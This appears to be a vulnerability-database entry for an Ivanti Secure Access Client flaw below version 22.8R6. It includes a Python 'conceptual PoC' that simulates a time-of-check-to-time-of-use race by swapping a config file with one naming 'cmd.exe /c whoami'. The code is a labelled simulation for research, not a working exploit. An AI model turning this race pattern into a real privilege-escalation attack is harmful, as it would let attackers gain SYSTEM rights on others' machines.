cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ivanti Secure Access Client < 22.8R6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for a Race Condition Privilege Escalation
# It does not target specific files but demonstrates the logic.
import threading
import time
import os
# Simulating the vulnerable component's check and use
def vulnerable_process():
print("[Target] Checking resource...")
# TOCTOU Window exists here
time.sleep(0.1)
print("[Target] Using resource...")
# In a real scenario, this would execute the file or load the DLL
# If the attacker swapped it here, malicious code runs as SYSTEM
if os.path.exists("C:\\Program Files\\Ivanti\\config.ini"):
with open("C:\\Program Files\\Ivanti\\config.ini", "r") as f:
print(f"[Target] Content: {f.read()}")
def attacker_thread():
print("[Attacker] Waiting for check...")
# Synchronization logic to hit the race window
time.sleep(0.05)
print("[Attacker] Swapping file...")
# Simulate replacing the file with a malicious one
with open("C:\\Program Files\\Ivanti\\config.ini", "w") as f:
f.write("[Malicious Config] Command = cmd.exe /c whoami")
print("[Attacker] Swap complete.")
# Setup initial state
os.makedirs("C:\\Program Files\\Ivanti\\", exist_ok=True)
with open("C:\\Program Files\\Ivanti\\config.ini", "w") as f:
f.write("[Normal Config]")
# Create threads to simulate race condition
t1 = threading.Thread(target=vulnerable_process)
t2 = threading.Thread(target=attacker_thread)
t2.start()
t1.start()
t1.join()
t2.join()
print("PoC execution finished.")